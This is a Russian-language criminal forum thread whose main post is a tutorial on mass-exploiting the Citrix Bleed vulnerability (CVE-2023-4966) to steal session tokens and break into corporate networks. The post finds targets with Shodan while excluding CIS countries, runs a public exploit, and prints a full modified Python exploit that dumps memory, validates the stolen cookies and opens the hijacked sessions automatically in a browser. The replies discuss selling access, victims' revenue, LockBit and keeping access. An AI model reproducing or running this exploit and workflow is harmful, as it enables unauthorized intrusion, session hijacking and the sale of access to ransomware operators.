• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Добываем доступы через public CVE. Citrix bleed.

dreamcore

floppy-дсик
Пользователь
Регистрация
19.02.2023
Сообщения
96
Реакции
115
Всем привет!
Пока многие отходят от новогодних праздников, решил написать статью про нашумевшую CVE-2023-4966. У многих возникали с ней проблемы, в том числе и у меня. Так что я решил подробнее разобраться в вопросе и поделиться с Вами) Сразу скажу, что хороших доступов, которые можно продать, там почти не осталось. Но тем не менее, там есть те, на которых можно совершенствовать свои навыки в пентесте, а это тоже дорогого стоит. Так что давайте приступим.
  1. Что представляет из себя CITRIX BLEED
  2. Разведка
  3. Эксплуатация
  4. Автоматизация


CVE-2023-4966 aka CITRIX BLEED aka цитрикс блэт

Немного теории

Citrix NetScaler ADC (Application delivery controller) — многофункциональное решение, которое в своей максимальной редакции обеспечивает три важнейшие сетевые функции — балансировку нагрузки сетевых приложений (load balancing), "безопасность" приложений и ресурсов (firewall), организацию удаленного доступа к корпоративной сети предприятия (vpn service). И как раз за организацию этого удаленного доступа отвечает Citrix NetScaler Gateway, он позволяет получать "безопасный" удаленный доступ через один URL к приложениям и данным, которые находятся в ЦОДе или облаке.

Cама уязвимость затрагивает эти продукты. Каким образом она это делает?

Принцип работы citrx bleed​

О принципе её работы хорошо рассказали западные ресёрчеры: https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
Но вкратце, это примитивное переполнение буффера в http заголовке, позволяющее сдампить память и получить из неё session token (cookie).

Разведка. Находим хосты с citrix​

Есть разные методы нахождения хостов, на которых есть citrix. Основные из них - это сканирование, либо использование таких сайтов как shodan, zoomeye, censys, fofa и прочие, их сейчас очень много. Сканирование хоть и является самым эффективным способом, но я выбрал старый добрый шодан для своих дел, т.к. на сканирование нужны сервера, деньги и много времени. Вообще, на шодан тоже нужны деньги, но добрый дядя DOC любезно предоставил мне shodan api key бесплатно в раздаче. Большое ему спасибо!

Заходим в терминал, прописываем:
shodan init "наш api key"
К сожалению, шодан пока не находит заведомо уязвимые к citrix bleed хосты по запросу "vuln:CVE-2023-4966", поэтому искать их нам придется самим.

Наш search query (запрос к апи шодана) выглядит следующим образом:
'http.favicon.hash:-1292923998, -1166125415 -country:RU,UA,KZ,BY' - мы будем искать хосты по хэшу http иконки цитрикса, которые не находятся в СНГ.

Далее нам нужно выгрузить все результаты:
shodan download --limit -1 citrixhosts 'http.favicon.hash:-1292923998,-1166125415 -country:RU,UA,KZ,BY'
Здесь мы указали limit -1, чтобы скачать все результаты. После этого в файле citrixhosts.json.gz появятся результаты.

Теперь парсим ip из результатов таким образом:
shodan parse --fields ip_str citrixhosts.json.gz > citrixhosts.txt
Все айпишники с цитриксом у нас теперь в citrixhosts.txt. Как это всё выглядит:
аывфаывф.PNG

(в лимите я указал 1, чтобы всё заново не парсить)

Эксплуатация​

Так, отлично, цели у нас есть. Далее мы сканируем их на наличие уязвмимости. Благо для этого на гитхабе лежит эксплоит клац, который дампит память и сразу проверяет куки на валидность, очень удобно!
Качаем, куда Вам необходимо:
git clone https://github.com/Chocapikk/CVE-2023-4966
cd CVE-2023-4966

Запускаем:
OPENSSL_CONF=./openssl.cnf python3 exploit.py -f "путь к нашему citrixhosts" --only-valid

Пошла жара, как говорится. Теперь мы видим уязвимые хосты и куки к ним. Для захода по куки будем использовать cookie quick manager. Ставим всё как у меня и обновляем страничку:
example.PNG

Теперь мы должны видеть окно захода в цитрикс. При заходе лучше по возможности выбирать "use light version", т.к. удалённый рабочий стол будет открываться в браузере и будет возможность передачи файлов и буффера обмена.
Но не везде есть такая функция, поэтому мы качаем citrix workspace для нужной платформы и запускаемся через него:
https://www.citrix.com/downloads/workspace-app/

Если не получается зайти через куки, то возможны следующие причины:
  • Куки могли умереть. В этой ситуации мы повторно запускаем эксплоит для данного хоста:
    • OPENSSL_CONF=./openssl.cnf python3 exploit.py -u https://target.example.com
      Если выдает валидные куки, супер, пытаемся зайти по ним. Если нет, не судьба.
  • Нас редиректнуло на домен. Тогда для этого домена тоже нужно добавить куки.

Ещё частенько бывает, что после захода с валидными куки опять требуется какой-то логин, пароль, домен, олигофрен и прочее. Тут ничего не поделаешь, только брутить, лол.

Кстати, мой фейл был в том, что я сначала использовал эксплойт от assetnote, который просто дампил память. А я брал оттуда невалидные куки и пытался зайти) Один раз даже получилось, но я забил на этот цитрикс на время. А вкусных доступов становилось всё меньше и меньше...

Так, куки летят, по ним даже получается зайти! Казалось бы, мы в шоколадке, всем спасибо за внимание, всем пока...

Автоматизируем процесс​

Оказывается, что вбивать куки - очень выматывающее занятие. Да, интересное, но переключать все эти вкладки и копировать туда-сюда... А когда на таргете ещё ничего нет... Мартышкин труд в общем.

Но мы же на то и хацкеры, чтобы автоматизировать рутину, а потом получать доступы и кайфовать :)

Поэтому, для этих целей давайте допишем эксплоит от Chokapikk`а, чтобы дополнительно выполнялись следующие действия:
  1. При нахождении таргета с валидными куки будет открываться окно браузера, в котором и откроется сессия citrix с нашими куки. Делать это будем через библиотеку selenium. Также, с помощью библиотеки threading создадим семафор для синхронизации наших сессий. Чтобы наша виртуалка или vps`ка не откинулась от количества доступов короче)
  2. В новый txt будут записываться все ipшники, которые уязвимы к citrix bleed. Независимо от того, валидные там куки или нет. Это нужно для того, чтобы в дальнейшем повторно эксплуатировать citrix bleed на этих таргетах, ведь наши доступы зависят от того, работает ли сотрудник корпы.

Полный исходный код:
Python:
# https://github.com/Chocapikk/CVE-2023-4966
# xss.pro dreamcore183

import re
import sys
import time #
import hexdump
import argparse
import requests


from rich.console import Console
from urllib.parse import urlparse
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed


from threading import Semaphore #
from selenium import webdriver #

warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)

class CitrixMemoryDumper:
    
    def __init__(self):
        self.console = Console()
        self.parser = argparse.ArgumentParser(description='Citrix ADC Memory Dumper')
        self.setup_arguments()

        self.max_workers = self.args.max_workers #
        self.max_sessions = self.args.max_sessions #
        self.session_semaphore = Semaphore(self.max_sessions) #

        self.results: List[Tuple[str, str]] = []

        self.output_file: Optional[TextIO] = None
        if self.args.output:
            self.output_file = open(self.args.output, 'w')

        self.output_vuln_hosts: Optional[TextIO] = None #
        if self.args.outvulnhosts: # если будем писать уязвимые хосты в файл
            self.output_vuln_hosts = open(self.args.outvulnhosts, 'w') #
        

    def setup_arguments(self) -> None:
        self.parser.add_argument('-u', '--url', help='The Citrix ADC / Gateway target (e.g., https://192.168.1.200)')
        self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)')
        self.parser.add_argument('-o', '--output', help='File to save the output results')
        self.parser.add_argument('-r', '--run-sessions', action='store_true', help='Run sessions in browser') #
        self.parser.add_argument('-m', '--max-sessions', help='Max browser sessions. Default=3', default=3, type=int) #
        self.parser.add_argument('-w', '--max-workers', help='Max workers. Default=300', default=300, type=int) #
        self.parser.add_argument('-t', '--outvulnhosts', help='File to save vulnerable hosts') #
        self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
        self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions')
        self.args = self.parser.parse_args()
        
    def print_results(self, header: str, result: str) -> None:
        if self.args.only_valid and "[+]" not in header:
            return

        formatted_msg = f"{header} {result}"
        self.console.print(formatted_msg, style="white")
        if self.output_file:
            self.output_file.write(result + '\n')

    def normalize_url(self, url: str) -> str:
        if not url.startswith("http://") and not url.startswith("https://"):
            url = f"https://{url}"
        
        parsed_url = urlparse(url)
        normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
        return normalized_url

    def dump_memory(self, url: str) -> None:
        full_url = self.normalize_url(url)
        headers = {
            "Host": "a" * 24576
        }

        try:
            r = requests.get(
                f"{full_url}/oauth/idp/.well-known/openid-configuration",
                headers=headers,
                verify=False,
                timeout=10,
            )
            content_bytes = r.content

            if r.status_code == 200 and content_bytes:
                
                if b"\x00"*16 in content_bytes:

                    if self.output_vuln_hosts: #
                        self.output_vuln_hosts.write(f"{url}\n") 
                        self.output_vuln_hosts.flush()

                    cleaned_content = self.clean_bytes(content_bytes)
                    for _ in range(10):
                        cleaned_content = cleaned_content.replace(b'a'*65, b'').replace(b'a'*32, b'')
                        content_bytes = content_bytes.replace(b'a'*65, b'').replace(b'a'*32, b'')
                    
                    if self.args.verbose and self.args.url:
                        self.results.append(("[bold blue][*][/bold blue]", f"Memory Dump for {full_url}"))
                        hex_output = hexdump.hexdump(content_bytes, result='return').strip()
                        self.results.extend([("", line) for line in hex_output.splitlines()])
                        self.results.append(("[bold blue][*][/bold blue]", "End of Dump\n"))

                    session_tokens = self.find_session_tokens(content_bytes)
                    valid_token_found = False
                    for token in session_tokens:
                        if self.test_session_cookie(full_url, token):
                            valid_token_found = True

                            if self.args.run_sessions:
                                self.run_session(full_url=full_url, token=token) #

                            break

                    if not valid_token_found:
                        if not self.args.only_valid:
                            if self.args.url:
                                self.results.append(("[bold yellow][!][/bold yellow]", f"Partial memory dump but no valid session token found for {full_url}."))
                            else:
                                self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {full_url}, but no valid session token found."))
                elif self.args.verbose and self.args.url:
                    self.results.append(("[bold red][-][/bold red]", f"Could not dump memory for {full_url}."))
        
        except Exception as e:
            if self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Error processing {full_url}: {str(e)}."))

    def clean_bytes(self, data: bytes) -> bytes:
        return b''.join(bytes([x]) for x in data if 32 <= x <= 126)
  
    def find_session_tokens(self, content_bytes: bytes) -> List[str]:
        TOKEN_65_PATTERN = re.compile(rb'(?=([a-f0-9]{65}))')
        TOKEN_32_PATTERN = re.compile(rb'(?=([a-f0-9]{32}))')

        sessions_65 = [match.group(1).decode('utf-8') for match in TOKEN_65_PATTERN.finditer(content_bytes) if match.group(1).endswith(b'45525d5f4f58455e445a4a42') and not match.group(1).startswith(b'a'*65)]
        sessions_32 = [match.group(1).decode('utf-8') for match in TOKEN_32_PATTERN.finditer(content_bytes) if not match.group(1).startswith(b'a'*32)]

        combined_sessions = list(dict.fromkeys(sessions_65 + sessions_32))
        return combined_sessions

    def test_session_cookie(self, url: str, session_token: str) -> bool:
        headers = {
            "Cookie": f"NSC_AAAC={session_token}"
        }
        try:
            r = requests.post(
                f"{url}/logon/LogonPoint/Authentication/GetUserName",
                headers=headers,
                verify=False,
                timeout=10,
            )

            if r.text.count('\n') > 0:
                return False
            
            if r.status_code == 200:
                username = r.text.strip()
                self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {url}, Cookie: {session_token}, Username: {username}"))
                return True
            else:
                return False
        except Exception as e:
            if self.args.verbose and self.args.url:
                self.results.append(("[bold red][-][/bold red]", f"Error testing cookie for {url}: {str(e)}."))
            return False
        
    def run_session(self, token: str, full_url: str) -> None: #
        self.session_semaphore.acquire() # +1 к кол-ву сессий в данный момент
        try:
            options = webdriver.FirefoxOptions()
            options.accept_insecure_certs = True

            profile = webdriver.FirefoxProfile()
            profile.accept_untrusted_certs = True
            options.profile = profile


            browser = webdriver.Firefox(options=options)
            browser.get(full_url) # открываем сессию
            browser.add_cookie({'name':'NSC_AAAC', 'value': str(token), 'sameSite': 'None', 'path': '/', 'secure': True, 'session': True}) # добавляем куки
            browser.refresh()

            while True: # ждём пока сессия закроется
                try:
                    _ = browser.window_handles
                except:
                    self.console.print(f"[*] Session has been closed. {full_url} {token}")
                    break
                time.sleep(1)
        except Exception as e:
            self.console.print(f"[bold red][-][/bold red] {full_url} selenium error: {e}\n") # пишем ошибки
        finally:
            self.session_semaphore.release() # -1 к кол-ву сессий
    
    def run(self) -> None:
        if self.args.url:
            self.dump_memory(self.args.url)
            for header, result in self.results:
                self.print_results(header, result)
        elif self.args.file:
            with open(self.args.file, 'r') as file:
                urls = file.read().splitlines()
                with ThreadPoolExecutor(max_workers=self.max_workers) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
                    futures = {executor.submit(self.dump_memory, url): url for url in urls}
                    for future in as_completed(futures):
                        for header, result in self.results:
                            self.print_results(header, result)
                        self.results.clear()
                        bar()
        else:
            self.console.print("[bold red][-][/bold red] URL or File must be provided.", style="white")
            sys.exit(1)
        
        if self.output_file:
            self.output_file.close()

        if self.output_vuln_hosts: # закрываем файл с уязвимыми хостами
            self.output_vuln_hosts.close() #
        
            

if __name__ == "__main__":
    dumper = CitrixMemoryDumper()
    dumper.run()
Комментариями старался пометить новые строчки кода.

Запускать всю эту солянку мы будем в два этапа. Сначала отсканируем citrixhosts на уязвимые таргеты и запишем их в новый файл:
OPENSSL_CONF=./openssl.cnf python exp.py -f "путь к файлу citrixhosts" -w "кол-во воркеров для скана. по умолчанию 300." -t "путь к файлу, куда будут записываться уязвимые таргеты" -v

Затем запускаем второй раз, но уже с другими параметрами. Теперь в браузере будут открываться сессии citrx:
OPENSSL_CONF=./openssl.cnf python exp.py -f "путь к файлу с уязвимыми таргетами" -r -w "кол-во воркеров" -m "макс. кол-во открытых сессий. по умолчанию 3." --only-valid
С помощью аргумента -r будут запускаться сессии.
Количество воркеров лучше указывать в пределах 100, чтобы куки быстро не умирали.
Максимальное количество сессий зависит от ваших мощностей, экспериментируете сами.

Для установки качаем приложенный снизу архив и распаковываем. Пароль местный.
В папке с эксплоитом прописываем в терминале: pip install -r requirements.txt
Запускаем как показано выше.

Что дальше?​

После получения валидных сессий, ищем удалённые рабочие столы и подключаемся к ним.
Однкако не всегда это может получиться из-за данной ошибки:
citrix-error61.PNG


Для её решения нужно выполнить следующие действия:
  1. Найти в гугле по имени ssl сертификат в формате PEM​
  2. Сохранить сертификат с расширением .crt​
  3. Из-под рута копируем сертификат в /opt/Citrix/ICAClient/keystore/cacerts/
  4. Прописываем sudo /opt/Citrix/ICAClient/util/ctx_rehash
  5. Подключаемся заново​
Этот способ работает под linux, под винду я не искал решение.

Теперь нам бы желательно сохранить доступ, чтобы потом спокойно осмотреться. Дальнейшее продвижение достойно отдельной статьи, да и я сам пока что разбираюсь в этом. Если проявите интерес, постараюсь написать продолжение! До новых встреч

Авторство: dreamcore183​

Источник: xss.pro​

 

Вложения

  • modified.zip
    4 КБ · Просмотры: 108
Тебе стоило это на конкурс выложить как свой проект чуть допилив). Статья интересная все обьяснил понятно.
 
продрочен цве уже и давно
нет?
в плане что здесь он написал часть своего софта / возможно перевел, но ты посмотри другие проекты которые выложены, этот будет более адекватен. есть много талантливых людей на форуме которые пишут неплохие софты, но всё же здесь не о CVE, а о том что с помощью него можно заработать, можно считать это проектом.
 
продрочен цве уже и давно
нет?
Проверь) В общем то да, мне только совсем недавно попались IN industrial (не помню revenue) и DE finance 35kk$ revenue.
 
Проверь) В общем то да, мне только совсем недавно попались IN industrial (не помню revenue) и DE finance 35kk$ revenue.
Скрытый контент для пользователей: .

команда локбита по нему прошлась еще до слива в паблик, как с соником было в свое время ((
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
продрочен цве уже и давно + на конкурс такое не примут
нет?
То что "продрочено" на шкафы - может вполне жить для других тем (где REVENUE не так важен, или где компании непубличны), бро.

Ето один из лучших CVE завершающего сезона после MOVE-IT :)
 
Годный Статя!
После статьи фортиков не было хорошего статя как это где вообще для новичков показывать где тыкать и где нет.
Получил много информации и конечно же бесплатный скрипт ). Я сам тормознул с использованием именно этого cve.
Спасибо за инфу!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Спасибо за статью. Вопрос насчет автоматизации, как можно просканировать список таргетов в формате http://site.com/wp-login.php на известные CVE?
 
Спасибо за статью. Вопрос насчет автоматизации, как можно просканировать список таргетов в формате http://site.com/wp-login.php на известные CVE?
Сканерами acunetix и nuclei
 
большой минус этой вульны в том, что ты ломишься в сессию юзера ,что уже очень палево и нужен очень хороший закреп с реверс соксом
ПС: кто нибудь знает как это пофиксить ? очень часто встречается
_
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
респект тебе отдельный! ждем продолжения..
 
Последнее редактирование модератором:
Хорошая статья, но видно, что автор устал ее писать. Что дальше? -- вобще как-то не раскрыл тему.
Я совсем недавно стал смотреть эту цвешку и могу сказать, что есть сетки нормальные. Те, кто пишут о "продроченности", видимо, просто и не пробовали пробивать хосты...
 
Хорошая статья, но видно, что автор устал ее писать. Что дальше? -- вобще как-то не раскрыл тему.
Я совсем недавно стал смотреть эту цвешку и могу сказать, что есть сетки нормальные. Те, кто пишут о "продроченности", видимо, просто и не пробовали пробивать хосты...
Те кто пишет о продроченности просто не знают, что если поставить уязвимый адрес (казалось бы говно пустое) на круг и ждать, можно получить "качественного" кукиса для дальнейшей эскплуатации
 
Хорошая статья, но видно, что автор устал ее писать. Что дальше? -- вобще как-то не раскрыл тему.
Я совсем недавно стал смотреть эту цвешку и могу сказать, что есть сетки нормальные. Те, кто пишут о "продроченности", видимо, просто и не пробовали пробивать хосты...
тут больше встает вопрос в закрепе и как сканить сетку с вирты через реверс прокси, потом что проксичейнз или скан через проксифаер не всегда корректно работает
 
Ору, там уже какой-то фембой-крыса-сплинтер залил мою статью на английском себе на гитхаб, не указав источник и вырезав пароль с архива)
Ну хоть комменты в коде на русском оставил и не вырезал фильтрацию СНГ из запроса шодана, и на том спасибо xd

Рекламу тупому барыге делать не буду, т.к. учитывая что он там селлит (riz на максималках, мб ещё и под мусорами), он возможно этого и пытался добиться.
Скрытый контент для пользователей групп Администратор, Модераторы.
 
Последнее редактирование:
Для её решения нужно выполнить следующие действия:
  1. Найти в гугле по имени ssl сертификат в формате PEM
  2. Сохранить сертификат с расширением .crt
  3. Из-под рута копируем сертификат в /opt/Citrix/ICAClient/keystore/cacerts/
  4. Прописываем sudo /opt/Citrix/ICAClient/util/ctx_rehash
  5. Подключаемся заново
Этот способ работает под linux, под винду я не искал решение.

Кто нибудь может расркыть эту тему по подробнее?

единственное что я обнаружил на эту тему это несоотвествие ключей шфрования
 
Последнее редактирование:
Кто нибудь может расркыть эту тему по подробнее?

единственное что я обнаружил на эту тему это несоотвествие ключей шфрования
Я такого не встречал, но если ошибка ssl 4, то скорее всего нужно установить более старую версию цитрикса.
Источник: https://www.ibm.com/support/pages/ssl-error-4-operation-completed-successfully-when-launching-controller-cloud
Дружище, есть ли решение с ssl ошибкой под винду? гугл не помогает(
Виндой не пользовался, точного решения не знаю, но надеюсь эти материалы помогут:
https://support.citrix.com/article/CTX101990/error-ssl-error-61-you-have-not-chosen-to-trust-certificate-authority-on-receiver-for-windows
https://discussions.citrix.com/topic/412403-solved-ssl-error-61-you-have-not-chosen-to-trust-entrust-root-certification-authority-g2-the-issuer-of-the-servers-security-certificate/



К сожалению, не смогу продолжение написать, т.к. сейчас другими важными делами занят.

Как там сейчас с доступами, ребят? Получается что-то интересное находить?)
 
Как там сейчас с доступами, ребят? Получается что-то интересное находить?)
не то чтобы много, но тут дело больше в качестве доступов.
Попадаются и оч интересные
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх